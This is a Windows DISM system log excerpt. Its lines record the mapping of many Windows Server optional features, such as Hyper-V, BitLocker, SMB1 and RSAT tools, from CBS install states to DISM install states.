2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultiPoint-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-AdminPak with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HardenedFabricEncryptionTask with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SimpleTCP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SmbDirect with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Windows-Defender with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature EnhancedStorage with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Manager-RSAT-File-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-RSAT-SNMP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WINS-Server-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ADCertificateServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature OnlineRevocationServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BitLocker-RemoteAdminTool with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BdeAducExtTool with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NPSMMC with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-RDS-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Licensing-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:39, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Licensing-Diagnosis-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services-Admin-Pack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DHCPServer-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkLoadBalancingManagementClient with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsServerBackupSnapin with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NPSManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServicesManagementTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Security-SPP-Vmw with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsServerBackup with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature File-Services-Search-Service with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FSRM-Management with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature iSCSITargetStorageProviders with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BITS with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature LightweightServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MultipathIo with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-PrintToPDFServices-Features with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DataCenterBridging with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SNMP with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WMISnmpProvider with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WindowsStorageManagementService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Xps-Foundation-Xps-Viewer with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMBBW with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature MSRDC-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WINSRuntime with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RasCMAK with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Remote-Desktop-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SessionDirectory with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:40, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SBMgr-UI with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature AppServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature VmHostAgent with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NPAS-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature OEM-Appliance-OOBE with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SearchEngine-Server-Package with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BitLocker-NetworkUnlock with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CCFFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FabricShieldedTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-AutomationServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-CmdInterface with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FRS-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ResumeKeyFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SmbWitness with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Storage-Replica with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature iSCSITargetServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Licensing with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BiometricFramework with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SetupAndBootEventCollection with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerManager-Core-RSAT with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerManager-Core-RSAT-Role-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerManager-Core-RSAT-Feature-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:41, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ShieldedVMToolsAdminPack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Storage-Replica-AdminPack with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DNS-Server-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-AD-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-ADDS-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-DomainController-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DirectoryServices-ADAM-Tools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Offline with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Online with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT-Hyper-V-Tools-Feature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Management-Clients with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Hyper-V-Management-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HostGuardian with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkVirtualization with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-GroupPolicy-ServerAdminTools-Update with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Windows-Internal-Database with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkLoadBalancingFullServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature PeerDist with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature P2P-PnrpOnly with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature QWAVE with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RemoteAssistance with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature BitLocker with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Bitlocker-Utilities with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-PowerShell with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServicesForNFS-ServerAndClient with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ClientForNFS-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ServerForNFS-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMB1Protocol with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:42, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMB1Protocol-Client with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature SMB1Protocol-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature TIFFIFilter with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WirelessNetworking with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Drivers-General with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Drivers-Printers with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Shell with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services-Transport-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-Deployment-Services-Deployment-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FaxServiceRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Gui-Mgmt with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Gui-Mgmt_onecore with CBS state 0(CbsInstallStateAbsent) being mapped to dism state 0(DISM_INSTALL_STATE_NOTPRESENT) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RSAT with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DfsMgmt with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FailoverCluster-Mgmt with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NFS-Administration with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FaxServiceConfigRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:43, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Internet-Explorer-Optional-amd64 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
